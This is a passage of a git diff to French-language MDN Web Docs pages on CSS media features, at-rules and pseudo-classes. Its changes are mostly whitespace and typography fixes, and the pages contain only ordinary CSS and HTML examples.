@@ La [caractéristique média](/fr/docs/Web/CSS/Media_Queries/Using_media_queries# > > Voir [cet article du CSSWG](https://www.w3.org/blog/CSS/2012/06/14/unprefix-webkit-device-pixel-ratio/) pour les bonnes pratiques quant à la compatibilité de `resolution` et `dppx`. -> **Note :** Cette caractéristique est également implémentée par Webkit et [IE 11 pour Windows Phone 8.1](<https://msdn.microsoft.com/en-us/library/ie/dn760733(v=vs.85).aspx>) sous le nom `-webkit-device-pixel-ratio`. Les versions préfixées pour les seuils minimal / maximal sont intitulées `min--moz-device-pixel-ratio` et `max--moz-device-pixel-ratio` sous Gecko, tandis que sous Webkit, elles sont intitulées `-webkit-min-device-pixel-ratio` et `-webkit-max-device-pixel-ratio`. +> **Note :** Cette caractéristique est également implémentée par Webkit et [IE 11 pour Windows Phone 8.1](<https://msdn.microsoft.com/en-us/library/ie/dn760733(v=vs.85).aspx>) sous le nom `-webkit-device-pixel-ratio`. Les versions préfixées pour les seuils minimal / maximal sont intitulées `min--moz-device-pixel-ratio` et `max--moz-device-pixel-ratio` sous Gecko, tandis que sous Webkit, elles sont intitulées `-webkit-min-device-pixel-ratio` et `-webkit-max-device-pixel-ratio`. ## Syntaxe diff --git a/files/fr/web/css/@media/-webkit-animation/index.md b/files/fr/web/css/@media/-webkit-animation/index.md index d14a4b5549..8bb11bc1f1 100644 --- a/files/fr/web/css/@media/-webkit-animation/index.md +++ b/files/fr/web/css/@media/-webkit-animation/index.md @@ -22,7 +22,7 @@ translation_of: Web/CSS/@media/-webkit-animation ## Spécifications -Cette caractéristique média est une caractéristique média propriétaire liée à WebKit/Blink. Elle ne fait partie d'aucune spécification. Elle est décrite plus en détails dans la [référence CSS Apple pour Safari (en anglais)](https://developer.apple.com/library/safari/documentation/AppleApplications/Reference/SafariCSSRef/Articles/OtherStandardCSS3Features.html#//apple_ref/doc/uid/TP40007601-SW3). +Cette caractéristique média est une caractéristique média propriétaire liée à WebKit/Blink. Elle ne fait partie d'aucune spécification. Elle est décrite plus en détails dans la [référence CSS Apple pour Safari (en anglais)](https://developer.apple.com/library/safari/documentation/AppleApplications/Reference/SafariCSSRef/Articles/OtherStandardCSS3Features.html#//apple_ref/doc/uid/TP40007601-SW3). ## Compatibilité des navigateurs diff --git a/files/fr/web/css/@media/-webkit-transform-2d/index.md b/files/fr/web/css/@media/-webkit-transform-2d/index.md index 90a9cf0635..f4231a0652 100644 --- a/files/fr/web/css/@media/-webkit-transform-2d/index.md +++ b/files/fr/web/css/@media/-webkit-transform-2d/index.md @@ -16,7 +16,7 @@ translation_of: Web/CSS/@media/-webkit-transform-2d ## Spécifications -Cette caractéristique média est une caractéristique média propriétaire liée à WebKit/Blink. Elle ne fait partie d'aucune spécification. Elle est décrite plus en détails dans la [référence CSS Apple pour Safari (en anglais)](https://developer.apple.com/library/safari/documentation/AppleApplications/Reference/SafariCSSRef/Articles/OtherStandardCSS3Features.html#//apple_ref/doc/uid/TP40007601-SW3) . +Cette caractéristique média est une caractéristique média propriétaire liée à WebKit/Blink. Elle ne fait partie d'aucune spécification. Elle est décrite plus en détails dans la [référence CSS Apple pour Safari (en anglais)](https://developer.apple.com/library/safari/documentation/AppleApplications/Reference/SafariCSSRef/Articles/OtherStandardCSS3Features.html#//apple_ref/doc/uid/TP40007601-SW3) . ## Compatibilité des navigateurs diff --git a/files/fr/web/css/@media/-webkit-transition/index.md b/files/fr/web/css/@media/-webkit-transition/index.md index bc50ddcdbb..b87fada85f 100644 --- a/files/fr/web/css/@media/-webkit-transition/index.md +++ b/files/fr/web/css/@media/-webkit-transition/index.md @@ -29,7 +29,7 @@ S'il vous faut déterminer si les transitions CSS sont prises en charges, évite ## Spécifications -Cette caractéristique média est une caractéristique média propriétaire liée à WebKit/Blink. Elle ne fait partie d'aucune spécification. Elle est décrite plus en détails dans la [référence CSS Apple pour Safari (en anglais)](https://developer.apple.com/library/safari/documentation/AppleApplications/Reference/SafariCSSRef/Articles/OtherStandardCSS3Features.html#//apple_ref/doc/uid/TP40007601-SW3). +Cette caractéristique média est une caractéristique média propriétaire liée à WebKit/Blink. Elle ne fait partie d'aucune spécification. Elle est décrite plus en détails dans la [référence CSS Apple pour Safari (en anglais)](https://developer.apple.com/library/safari/documentation/AppleApplications/Reference/SafariCSSRef/Articles/OtherStandardCSS3Features.html#//apple_ref/doc/uid/TP40007601-SW3). ## Compatibilité des navigateurs diff --git a/files/fr/web/css/@media/device-height/index.md b/files/fr/web/css/@media/device-height/index.md index 117e647809..af5d16e56d 100644 --- a/files/fr/web/css/@media/device-height/index.md +++ b/files/fr/web/css/@media/device-height/index.md @@ -14,7 +14,7 @@ translation_of: Web/CSS/@media/device-height ## Syntaxe -La caractéristique `device-height` est définie comme une longueur (type {{cssxref("<length>")}}). C'est une caractéristique d'intervalle ce qui signifie qu'on peut utiliser les variantes préfixées **`min-device-height`** et **`max-device-height`** afin d'utiliser des critères de minimum et maximum. +La caractéristique `device-height` est définie comme une longueur (type {{cssxref("<length>")}}). C'est une caractéristique d'intervalle ce qui signifie qu'on peut utiliser les variantes préfixées **`min-device-height`** et **`max-device-height`** afin d'utiliser des critères de minimum et maximum. ## Exemples diff --git a/files/fr/web/css/@media/monochrome/index.md b/files/fr/web/css/@media/monochrome/index.md index 5d28532ff3..470aa8a161 100644 --- a/files/fr/web/css/@media/monochrome/index.md +++ b/files/fr/web/css/@media/monochrome/index.md @@ -9,7 +9,7 @@ translation_of: Web/CSS/@media/monochrome --- {{CSSRef}} -**`monochrome`** est une caractéristique média CSS (cf. {{cssxref("@media")}}) qui peut être utilisée afin d'appliquer des styles en fonction du nombre de bits par pixel utilisés pour le tampon d'affichage monochrome de l'appareil. +**`monochrome`** est une caractéristique média CSS (cf. {{cssxref("@media")}}) qui peut être utilisée afin d'appliquer des styles en fonction du nombre de bits par pixel utilisés pour le tampon d'affichage monochrome de l'appareil. ## Syntaxe diff --git a/files/fr/web/css/@media/prefers-contrast/index.md b/files/fr/web/css/@media/prefers-contrast/index.md index 33d90f2617..b10eb3db17 100644 --- a/files/fr/web/css/@media/prefers-contrast/index.md +++ b/files/fr/web/css/@media/prefers-contrast/index.md @@ -34,12 +34,12 @@ Par défaut, cet exemple présente un contraste trop faible pour la lisibilité. ```css .contrast { - color: grey; + color: grey; } @media (prefers-contrast: high) { .contrast { - color: black; + color: black; } } ``` diff --git a/files/fr/web/css/@media/prefers-reduced-motion/index.md b/files/fr/web/css/@media/prefers-reduced-motion/index.md index 6bd87e7c10..49fbd4b330 100644 --- a/files/fr/web/css/@media/prefers-reduced-motion/index.md +++ b/files/fr/web/css/@media/prefers-reduced-motion/index.md @@ -21,7 +21,7 @@ La [requêtes média](/fr/docs/Web/CSS/Media_Queries/Using_media_queries#media_f Dans Firefox, la valeur `reduce` est utilisée par le moteur selon des conditions provenant du système d'exploitation/environnement de bureau : - Pour GTK/Gnome, si `gtk-enable-animation` vaut `false`. Cela peut être configuré par le menu « Ajustements » de Gnome. -- Pour Windows 10 : Paramètres > Options d'ergonomie > Vision > Afficher > Afficher les animations dans windows +- Pour Windows 10 : Paramètres > Options d'ergonomie > Vision > Afficher > Afficher les animations dans windows - Pour macOS : Préférences système > Accessibilité > Affichage > Réduire les animations. - Dans iOS : Paramètres > ; Général > ; Accessibilité > ; Réduire les animations. - Dans Android 9+ : Paramètres > ; Accessibilité > ; Supprimer les animations. diff --git a/files/fr/web/css/@media/shape/index.md b/files/fr/web/css/@media/shape/index.md index edf2c2a7f9..b758e23e5d 100644 --- a/files/fr/web/css/@media/shape/index.md +++ b/files/fr/web/css/@media/shape/index.md @@ -38,19 +38,19 @@ La caractéristique `shape` peut prendre une valeur parmi deux valeurs définies ```css h1 { - text-align: left; + text-align: left; } @media (shape: rect) { - h1 { - text-align: left; - } + h1 { + text-align: left; + } } @media (shape: round) { - h1 { - text-align: center; - } + h1 { + text-align: center; + } } ``` @@ -64,9 +64,9 @@ Ce fragment de code HTML permettra d'appliquer une feuille de style particulièr ```html <head> - <link rel="stylesheet" href="default.css" /> - <link media="screen and (shape: rect)" rel="stylesheet" href="rectangle.css" /> - <link media="screen and (shape: round)" rel="stylesheet" href="round.css" /> + <link rel="stylesheet" href="default.css" /> + <link media="screen and (shape: rect)" rel="stylesheet" href="rectangle.css" /> + <link media="screen and (shape: round)" rel="stylesheet" href="round.css" /> </head> ``` diff --git a/files/fr/web/css/@page/index.md b/files/fr/web/css/@page/index.md index 563e341e7e..57fe1e07ab 100644 --- a/files/fr/web/css/@page/index.md +++ b/files/fr/web/css/@page/index.md @@ -68,7 +68,7 @@ Pour d'autres exemples, voir les pages qui concernent les pseudo-classes liées | Spécification | État | Commentaires | | ---------------------------------------------------------------------------------------------------- | ------------------------------------------------ | ------------------------------------------------------------------------------------------------------------------------------------- | | {{SpecName('CSS Logical Properties', '#logical-page', ':recto and :verso')}} | {{Spec2('CSS Logical Properties')}} | Ajout des sélecteurs de page `:recto` et `:verso`. | -| {{SpecName('CSS3 Paged Media', '#at-page-rule', '@page')}} | {{Spec2('CSS3 Paged Media')}} | Aucun changement depuis {{SpecName('CSS2.1')}}, bien que plus de règles @ puissent être utilisées au sein d'une règle `@page`. | +| {{SpecName('CSS3 Paged Media', '#at-page-rule', '@page')}} | {{Spec2('CSS3 Paged Media')}} | Aucun changement depuis {{SpecName('CSS2.1')}}, bien que plus de règles @ puissent être utilisées au sein d'une règle `@page`. | | {{SpecName('CSS2.1', 'page.html#page-selectors', '@page')}} | {{Spec2('CSS2.1')}} | Définition initiale. | ## Compatibilité des navigateurs diff --git a/files/fr/web/css/@property/index.md b/files/fr/web/css/@property/index.md index bc30e0b52f..1ff14ce9c6 100644 --- a/files/fr/web/css/@property/index.md +++ b/files/fr/web/css/@property/index.md @@ -37,9 +37,9 @@ Les descripteurs inconnus ne sont pas valides et sont ignorés, mais n'invaliden ## Exemples -Ajout d'une vérification de type à la {{cssxref('--*', 'propriété personnalisée')}} `--my-color` en tant que couleur et que valeur par défaut, sans lui permettre d'hériter de sa valeur : +Ajout d'une vérification de type à la {{cssxref('--*', 'propriété personnalisée')}} `--my-color` en tant que couleur et que valeur par défaut, sans lui permettre d'hériter de sa valeur : -Utilisation de la règle [CSS](/en-US/docs/Web/CSS) [at-rule](/fr/docs/Web/CSS/At-rule) {{cssxref('@property')}} : +Utilisation de la règle [CSS](/en-US/docs/Web/CSS) [at-rule](/fr/docs/Web/CSS/At-rule) {{cssxref('@property')}} : ```css @property --my-color { @@ -49,7 +49,7 @@ Utilisation de la règle [CSS](/en-US/docs/Web/CSS) [at-rule](/fr/docs/Web/CSS/A } ``` -Équivalent avec la fonction [JavaScript](/en-US/docs/Web/JavaScript) {{domxref('CSS.registerProperty')}} : +Équivalent avec la fonction [JavaScript](/en-US/docs/Web/JavaScript) {{domxref('CSS.registerProperty')}} : ```js window.CSS.registerProperty({ diff --git a/files/fr/web/css/@supports/index.md b/files/fr/web/css/@supports/index.md index f142fe1ba4..53cbf5d437 100644 --- a/files/fr/web/css/@supports/index.md +++ b/files/fr/web/css/@supports/index.md @@ -43,7 +43,7 @@ La plus simple expression est une déclaration CSS, c'est-à-dire un nom de prop @supports ( transform-origin: 5% 5% ) { } ``` -renvoie le booléen vrai si la propriété {{cssxref("transform-origin")}} du navigateur considère que la valeur `5% 5%` est valide. +renvoie le booléen vrai si la propriété {{cssxref("transform-origin")}} du navigateur considère que la valeur `5% 5%` est valide. Une déclaration CSS est toujours encadrée par des parenthèses. @@ -161,9 +161,9 @@ sera ainsi équivalente à : ```css @supports (--toto: green) { - body { - color: --nomVar; - } + body { + color: --nomVar; + } } ``` diff --git a/files/fr/web/css/_colon_-moz-broken/index.md b/files/fr/web/css/_colon_-moz-broken/index.md index 92b0e71726..1b5fe193b3 100644 --- a/files/fr/web/css/_colon_-moz-broken/index.md +++ b/files/fr/web/css/_colon_-moz-broken/index.md @@ -10,7 +10,7 @@ translation_of: Web/CSS/:-moz-broken --- {{Non-standard_header}}{{CSSRef}}{{gecko_minversion_header("1.9")}} -La [p](/en-US/docs/Web/CSS)[seudo-class CSS](/fr/docs/Web/CSS/Pseudo-classes) `:-moz-broken` s'adapte aux éléments qui représentent des liens cassés vers des images. +La [pseudo-class CSS](/fr/docs/Web/CSS/Pseudo-classes) `:-moz-broken` s'adapte aux éléments qui représentent des liens cassés vers des images. Ce sélecteur est principalement destiné à être utilisé par les développeurs de thèmes. diff --git a/files/fr/web/css/_colon_-moz-first-node/index.md b/files/fr/web/css/_colon_-moz-first-node/index.md index 6007b9e0d4..7c444ffea4 100644 --- a/files/fr/web/css/_colon_-moz-first-node/index.md +++ b/files/fr/web/css/_colon_-moz-first-node/index.md @@ -37,7 +37,7 @@ span:-moz-first-node { </p> <p> Bip bop bip bop - <span>Cet élément n'est pas ciblé car il y a du texte avant.</span> + <span>Cet élément n'est pas ciblé car il y a du texte avant.</span> </p> ``` diff --git a/files/fr/web/css/_colon_-moz-last-node/index.md b/files/fr/web/css/_colon_-moz-last-node/index.md index b2d49eef88..f375956947 100644 --- a/files/fr/web/css/_colon_-moz-last-node/index.md +++ b/files/fr/web/css/_colon_-moz-last-node/index.md @@ -36,7 +36,7 @@ span:-moz-last-node { <span>:-moz-last-node</span> </p> <p> - <span>Cet élément n'est pas ciblé car il est suivi par du texte.</span> + <span>Cet élément n'est pas ciblé car il est suivi par du texte.</span> Bip bop bip bop. </p> ``` diff --git a/files/fr/web/css/_colon_-moz-only-whitespace/index.md b/files/fr/web/css/_colon_-moz-only-whitespace/index.md index 5c0f9b29bc..adf074f24c 100644 --- a/files/fr/web/css/_colon_-moz-only-whitespace/index.md +++ b/files/fr/web/css/_colon_-moz-only-whitespace/index.md @@ -63,5 +63,5 @@ Cette pseudo-classe a été renommée en `:blank` dans {{SpecName("CSS4 Selector ## Voir aussi -- {{CSSxRef(":blank")}} {{Experimental_Inline}} +- {{CSSxRef(":blank")}} {{Experimental_Inline}} - {{CSSxRef(":empty")}} diff --git a/files/fr/web/css/_colon_-moz-user-disabled/index.md b/files/fr/web/css/_colon_-moz-user-disabled/index.md index 46b0a59daf..64bcfbd499 100644 --- a/files/fr/web/css/_colon_-moz-user-disabled/index.md +++ b/files/fr/web/css/_colon_-moz-user-disabled/index.md @@ -10,7 +10,7 @@ translation_of: Web/CSS/:-moz-user-disabled --- {{Non-standard_header}}{{CSSRef}}{{gecko_minversion_header("1.9")}} -La [pseudo-classe CSS](/fr/docs/Web/CSS/Pseudo-classes) `:-moz-user-disabled` correspond aux éléments représentant des images qui n'ont pas été chargées car elles ont été entièrement désactivées dans les préférences de l'utilisateur. +La [pseudo-classe CSS](/fr/docs/Web/CSS/Pseudo-classes) `:-moz-user-disabled` correspond aux éléments représentant des images qui n'ont pas été chargées car elles ont été entièrement désactivées dans les préférences de l'utilisateur. Ce sélecteur est destiné principalement à une utilisation par les développeurs de thèmes. diff --git a/files/fr/web/css/_colon_active/index.md b/files/fr/web/css/_colon_active/index.md index 8317472411..0ac341a304 100644 --- a/files/fr/web/css/_colon_active/index.md +++ b/files/fr/web/css/_colon_active/index.md @@ -89,7 +89,7 @@ form button { | Spécification | État | Commentaires | | ------------------------------------------------------------------------------------------------ | ------------------------------------ | -------------------- | -| {{SpecName('HTML WHATWG', 'scripting.html#selector-active', ':active')}} | {{Spec2('HTML WHATWG')}} | | +| {{SpecName('HTML WHATWG', 'scripting.html#selector-active', ':active')}} | {{Spec2('HTML WHATWG')}} | | | {{SpecName('CSS4 Selectors', '#active-pseudo', ':active')}} | {{Spec2('CSS4 Selectors')}} | Aucune modification. | | {{SpecName('CSS3 Selectors', '#useraction-pseudos', ':active')}} | {{Spec2('CSS3 Selectors')}} | Aucune modification. | | {{SpecName('CSS2.1', 'selector.html#dynamic-pseudo-classes', ':active')}} | {{Spec2('CSS2.1')}} | Aucune modification. | diff --git a/files/fr/web/css/_colon_autofill/index.md b/files/fr/web/css/_colon_autofill/index.md index b1b7827003..140845954f 100644 --- a/files/fr/web/css/_colon_autofill/index.md +++ b/files/fr/web/css/_colon_autofill/index.md @@ -27,4 +27,4 @@ Cette pseudo-classe est une pseudo-classe propriétaire liée à WebKit/Blink et - [Bug Chromium n°46543 : Le fond jaune des champs texte saisis automatiquement ne peut pas être désactivé.](https://code.google.com/p/chromium/issues/detail?id=46543) - [Bug WebKit n°66032 : Permettre aux auteurs de surcharger la couleur des champs remplis automatiquement.](https://bugs.webkit.org/show_bug.cgi?id=66032) -- [Bug Mozilla n°740979 : Implémentation de la pseudo-classe `:-moz-autofill` pour les éléments `input` avec une valeur saisie automatiquement.](https://bugzilla.mozilla.org/show_bug.cgi?id=740979) +- [Bug Mozilla n°740979 : Implémentation de la pseudo-classe `:-moz-autofill` pour les éléments `input` avec une valeur saisie automatiquement.](https://bugzilla.mozilla.org/show_bug.cgi?id=740979) diff --git a/files/fr/web/css/_colon_empty/index.md b/files/fr/web/css/_colon_empty/index.md index 87d8eb5f2f..1e3bbe4443 100644 --- a/files/fr/web/css/_colon_empty/index.md +++ b/files/fr/web/css/_colon_empty/index.md @@ -13,7 +13,7 @@ La [pseudo-classe](/fr/docs/Web/CSS/Pseudo-classes) **`:empty`** correspond à u ```css /* Cible tous les éléments <div> qui */ -/* n'ont pas de contenu */ +/* n'ont pas de contenu */ div:empty { background: lime; } diff --git a/files/fr/web/css/_colon_first-child/index.md b/files/fr/web/css/_colon_first-child/index.md index dfbce41751..e62de1022b 100644 --- a/files/fr/web/css/_colon_first-child/index.md +++ b/files/fr/web/css/_colon_first-child/index.md @@ -107,4 +107,4 @@ li:first-child{ - {{cssxref(":last-child")}} - {{CSSxRef(":nth-child", ":nth-child()")}} - {{cssxref(":last-of-type")}} -- {{CSSxRef(":-moz-first-node")}} {{Non-standard_Inline}} +- {{CSSxRef(":-moz-first-node")}} {{Non-standard_Inline}} diff --git a/files/fr/web/css/_colon_first-of-type/index.md b/files/fr/web/css/_colon_first-of-type/index.md index 037dba0868..e225b8d815 100644 --- a/files/fr/web/css/_colon_first-of-type/index.md +++ b/files/fr/web/css/_colon_first-of-type/index.md @@ -31,7 +31,7 @@ p:first-of-type { ```css div :first-of-type { - background-color: lime; + background-color: lime; } ``` diff --git a/files/fr/web/css/_colon_focus-visible/index.md b/files/fr/web/css/_colon_focus-visible/index.md index f5deaa99f2..ad6173dfc1 100644 --- a/files/fr/web/css/_colon_focus-visible/index.md +++ b/files/fr/web/css/_colon_focus-visible/index.md @@ -14,7 +14,7 @@ La pseudo-classe **`:focus-visible`** s'applique lorsqu'un élément correspond Ce sélecteur peut être utile afin de fournir un indicateur de focus différent selon le mode de navigation de l'utilisateur (souris ou clavier). -On notera que Firefox prend en charge cette fonctionnalité via une ancienne pseudo-classe préfixée `:-moz-focusring`. Voir la page {{cssxref(":-moz-focusring")}} pour plus d'informations. +On notera que Firefox prend en charge cette fonctionnalité via une ancienne pseudo-classe préfixée `:-moz-focusring`. Voir la page {{cssxref(":-moz-focusring")}} pour plus d'informations. ## Syntaxe diff --git a/files/fr/web/css/_colon_focus-within/index.md b/files/fr/web/css/_colon_focus-within/index.md index 0b530933ca..4c40f35b73 100644 --- a/files/fr/web/css/_colon_focus-within/index.md +++ b/files/fr/web/css/_colon_focus-within/index.md @@ -9,7 +9,7 @@ translation_of: Web/CSS/:focus-within --- {{CSSRef}} -La [pseudo-classe](/fr/docs/Web/CSS/Pseudo-classes) **`:focus-within`** s'applique à tous les éléments pour lesquels la pseudo-classe {{cssxref(":focus")}} s'applique ainsi qu'à tous leurs éléments descendants, y compris ceux du _Shadow DOM_. Autrement dit, cette pseudo-classe s'applique lorsqu'un élément a reçu le focus via le clavier ou la souris (par exemple lorsqu'on clique sur un champ d'un formulaire). +La [pseudo-classe](/fr/docs/Web/CSS/Pseudo-classes) **`:focus-within`** s'applique à tous les éléments pour lesquels la pseudo-classe {{cssxref(":focus")}} s'applique ainsi qu'à tous leurs éléments descendants, y compris ceux du _Shadow DOM_. Autrement dit, cette pseudo-classe s'applique lorsqu'un élément a reçu le focus via le clavier ou la souris (par exemple lorsqu'on clique sur un champ d'un formulaire). ```css /* Cible n'importe quel <div> lorsqu'un */ diff --git a/files/fr/web/css/_colon_focus/index.md b/files/fr/web/css/_colon_focus/index.md index 2188885f3e..05179d7ca0 100644 --- a/files/fr/web/css/_colon_focus/index.md +++ b/files/fr/web/css/_colon_focus/index.md @@ -79,5 +79,5 @@ Il ne faut jamais retirer l'indicateur de focus sans le remplacer par un autre i ## Voir aussi -- {{CSSxRef(":focus-visible")}} {{Experimental_Inline}} +- {{CSSxRef(":focus-visible")}} {{Experimental_Inline}} - {{cssxref(":focus-within")}} diff --git a/files/fr/web/css/_colon_fullscreen/index.md b/files/fr/web/css/_colon_fullscreen/index.md index 3855532430..dd1b4d71c1 100644 --- a/files/fr/web/css/_colon_fullscreen/index.md +++ b/files/fr/web/css/_colon_fullscreen/index.md @@ -10,7 +10,7 @@ translation_of: Web/CSS/:fullscreen --- {{CSSRef}} -La [pseudo-classe](/fr/docs/Web/CSS/Pseudo-classes) **`:fullscreen`** permet de cibler tout élément qui est en mode plein écran. Si plusieurs éléments ont été mis en plein écran, tous ces éléments seront ciblés. +La [pseudo-classe](/fr/docs/Web/CSS/Pseudo-classes) **`:fullscreen`** permet de cibler tout élément qui est en mode plein écran. Si plusieurs éléments ont été mis en plein écran, tous ces éléments seront ciblés. ## Syntaxe diff --git a/files/fr/web/css/_colon_future/index.md b/files/fr/web/css/_colon_future/index.md index ef82a54d5a..16b836e618 100644 --- a/files/fr/web/css/_colon_future/index.md +++ b/files/fr/web/css/_colon_future/index.md @@ -24,7 +24,7 @@ Le sélecteur de [pseudo-classe](/fr/docs/Web/CSS/Pseudo-classes) [CSS](/fr/docs ```css :future(p, span) { - display: none; + display: none; } ``` @@ -33,12 +33,12 @@ Le sélecteur de [pseudo-classe](/fr/docs/Web/CSS/Pseudo-classes) [CSS](/fr/docs ```html <video controls preload="metadata"> <source src="video.mp4" type="video/mp4" /> - <source src="video.webm" type="video/webm" /> - <track label="Français" kind="subtitles" srclang="fr" src="subtitles.vtt" default> + <source src="video.webm" type="video/webm" /> + <track label="Français" kind="subtitles" srclang="fr" src="subtitles.vtt" default> </video> ``` -### WebVTT +### WebVTT FICHIER WEBVTT diff --git a/files/fr/web/css/_colon_host()/index.md b/files/fr/web/css/_colon_host()/index.md index 1228857671..e0dfa1c855 100644 --- a/files/fr/web/css/_colon_host()/index.md +++ b/files/fr/web/css/_colon_host()/index.md @@ -11,7 +11,7 @@ translation_of: Web/CSS/:host() La fonction de [pseudo-classe](/fr/docs/Web/CSS/Pseudo-classes) **`:host()`** permet de sélectionner l'hôte du _shadow DOM_ contenant le CSS à utiliser, uniquement si le sélecteur passé en argument correspond à l'élément hôte. -Le scénario principal pour utiliser cette fonction consiste à vouloir cibler une certaine classe d'éléments personnalisés : pour cela, on passera la classe comme argument de la fonction `:host()`. Cette fonction ne peut pas être utilisée avec un sélecteur de descendant, pour cela il faudra utiliser {{cssxref(":host-context()")}}. +Le scénario principal pour utiliser cette fonction consiste à vouloir cibler une certaine classe d'éléments personnalisés : pour cela, on passera la classe comme argument de la fonction `:host()`. Cette fonction ne peut pas être utilisée avec un sélecteur de descendant, pour cela il faudra utiliser {{cssxref(":host-context()")}}. > **Note :** Cette fonction n'a aucun effet si elle est utilisée en dehors d'un _shadow DOM_. @@ -19,7 +19,7 @@ Le scénario principal pour utiliser cette fonction consiste à vouloir cibler u /* On cible l'hôte du shadow DOM uniquement s'il correspond au sélecteur passé en argument */ :host(.special-custom-element) { - font-weight: bold; + font-weight: bold; } ``` diff --git a/files/fr/web/css/_colon_host-context()/index.md b/files/fr/web/css/_colon_host-context()/index.md index f1c99619f4..cc5d41645f 100644 --- a/files/fr/web/css/_colon_host-context()/index.md +++ b/files/fr/web/css/_colon_host-context()/index.md @@ -21,7 +21,7 @@ Un cas d'usage fréquent consiste à utilise un sélecteur de descendant — `h1 /* Cible un hôte uniquement si c'est un descendant du sélecteur passé en argument */ :host-context(h1) { - font-weight: bold; + font-weight: bold; } :host-context(main article) { diff --git a/files/fr/web/css/_colon_host/index.md b/files/fr/web/css/_colon_host/index.md index 83237f7080..def98a9b7d 100644 --- a/files/fr/web/css/_colon_host/index.md +++ b/files/fr/web/css/_colon_host/index.md @@ -16,7 +16,7 @@ La [pseudo-classe](/fr/docs/Web/CSS/Pseudo-classes) **`:host`** permet de cibler ```css /* Cible la racine d'un hôte de shadow DOM */ :host { - font-weight: bold; + font-weight: bold; } ``` @@ -28,7 +28,7 @@ La [pseudo-classe](/fr/docs/Web/CSS/Pseudo-classes) **`:host`** permet de cibler Les fragments de code qui suivent sont extraits du dépôt d'exemple [_host-selectors_](https://github.com/mdn/web-components-examples/tree/master/host-selectors) ([voir le résultat _live_](https://mdn.github.io/web-components-examples/host-selectors/)). -Dans cet exemple, on dispose d'un élément personnalisé `<context-span>` qui peut contenir du texte : +Dans cet exemple, on dispose d'un élément personnalisé `<context-span>` qui peut contenir du texte : ```html <h1>Host selectors <a href="#"><context-span>example</context-span></a></h1> diff --git a/files/fr/web/css/_colon_hover/index.md b/files/fr/web/css/_colon_hover/index.md index c1ee18e528..e9a8e5d9fd 100644 --- a/files/fr/web/css/_colon_hover/index.md +++ b/files/fr/web/css/_colon_hover/index.md @@ -19,7 +19,7 @@ a:hover { } ``` -La mise en forme ciblée par cette pseudo-classe peut être surchargée par d'autres pseudo-classes relatives aux liens hypertextes comme {{cssxref(":link")}}, {{cssxref(":visited")}}, et {{cssxref(":active")}}, apparaissant dans des règles subséquentes. Pour décorer les liens sans effet de bord problématique, on placera la règle `:hover` après les règles `:link` et `:visited` mais avant la règle `:active` (l'ordre est `:link` — `:visited` — `:hover` — `:active` – un moyen mnémotechnique est de se souvenir des initiales LVHA) tandis que l'ordre de la règle {{cssxref(":focus")}} est indifférent. +La mise en forme ciblée par cette pseudo-classe peut être surchargée par d'autres pseudo-classes relatives aux liens hypertextes comme {{cssxref(":link")}}, {{cssxref(":visited")}}, et {{cssxref(":active")}}, apparaissant dans des règles subséquentes. Pour décorer les liens sans effet de bord problématique, on placera la règle `:hover` après les règles `:link` et `:visited` mais avant la règle `:active` (l'ordre est `:link` — `:visited` — `:hover` — `:active` – un moyen mnémotechnique est de se souvenir des initiales LVHA) tandis que l'ordre de la règle {{cssxref(":focus")}} est indifférent. La pseudo-classe `:hover` peut être appliquée à n'importe quel [pseudo-élément](/fr/docs/Web/CSS/Pseudo-elements). {{experimental_inline}} @@ -57,10 +57,10 @@ a:hover { | Spécification | Commentaires | Retours | | ---------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------ | --------------------------------------------------------------------------------------------------------------------- | -| {{SpecName('HTML WHATWG', 'scripting.html#selector-hover', ':hover')}} | | [_Issues_ GitHub du WHATWG HTML (en anglais)](https://github.com/whatwg/html/issues) | +| {{SpecName('HTML WHATWG', 'scripting.html#selector-hover', ':hover')}} | | [_Issues_ GitHub du WHATWG HTML (en anglais)](https://github.com/whatwg/html/issues) | | {{SpecName('CSS4 Selectors', '#the-hover-pseudo', ':hover')}} | Permet d'appliquer `:hover` à n'importe quel pseudo-élément. | [Issues GitHub pour les brouillons du groupe de travail CSS (en anglais)](https://github.com/w3c/csswg-drafts/issues) | -| {{SpecName('CSS3 Selectors', '#the-user-action-pseudo-classes-hover-act', ':hover')}} | | | -| {{SpecName('CSS2.1', 'selector.html#dynamic-pseudo-classes', ':hover')}} | Définition initiale. | | +| {{SpecName('CSS3 Selectors', '#the-user-action-pseudo-classes-hover-act', ':hover')}} | | | +| {{SpecName('CSS2.1', 'selector.html#dynamic-pseudo-classes', ':hover')}} | Définition initiale. | | ## Compatibilité des navigateurs diff --git a/files/fr/web/css/_colon_is/index.md b/files/fr/web/css/_colon_is/index.md index caaa2a95b3..c152116440 100644 --- a/files/fr/web/css/_colon_is/index.md +++ b/files/fr/web/css/_colon_is/index.md @@ -19,11 +19,11 @@ La plupart des navigateurs prennent encore en charge cette fonctionnalité via ` ```css /* Sélectionne n'importe quel paragraphe survolé - qui se trouve au sein d'un header, main, ou - footer */ + qui se trouve au sein d'un header, main, ou + footer */ :is(header, main, footer) p:hover { - color: red; - cursor: pointer; + color: red; + cursor: pointer; } /* La notation précédente est équivalente à */ @@ -31,7 +31,7 @@ header p:hover, main p:hover, footer p:hover { color: red; - cursor: pointer; + cursor: pointer; } @@ -166,7 +166,7 @@ pourra être remplacée par : } ``` -En revanche, le modèle d'usage suivant n'est pas recommandée (cf. [la section qui suit sur les performances](#issues_with_performance_and_specificity)) : +En revanche, le modèle d'usage suivant n'est pas recommandée (cf. [la section qui suit sur les performances](#issues_with_performance_and_specificity)) : ```css :matches(ol, ul, menu, dir) :matches(ol, ul, menu, dir) :matches(ul, menu, dir) { @@ -178,7 +178,7 @@ En revanche, le modèle d'usage suivant n'est pas recommandée (cf. [la section La pseudo-classe `:matches` est particulièrement utile lorsqu'on manipule les [sections et en-têtes](/en-US/docs/Sections_and_Outlines_of_an_HTML5_document "Sections and Outlines of an HTML5 document") HTML5. {{HTMLElement("section")}}, {{HTMLElement("article")}}, {{HTMLElement("aside")}} et {{HTMLElement("nav")}} étant souvent imbriqués les uns dans les autres, les mettre en forme (sans `:matches()`) s'avèrerait plutôt compliqué. -Par exemple, pour mettre en forme les éléments {{HTMLElement("h1")}} à différents niveaux sans utiliser `:matches()`, on obtient ces règles plutôt compliquées : +Par exemple, pour mettre en forme les éléments {{HTMLElement("h1")}} à différents niveaux sans utiliser `:matches()`, on obtient ces règles plutôt compliquées : ```css /* Niveau 0 */ @@ -224,7 +224,7 @@ h1 { } ``` -### Éviter l'invalidation d'une liste de sélecteur +### Éviter l'invalidation d'une liste de sélecteur À la différence des listes de sélecteurs, 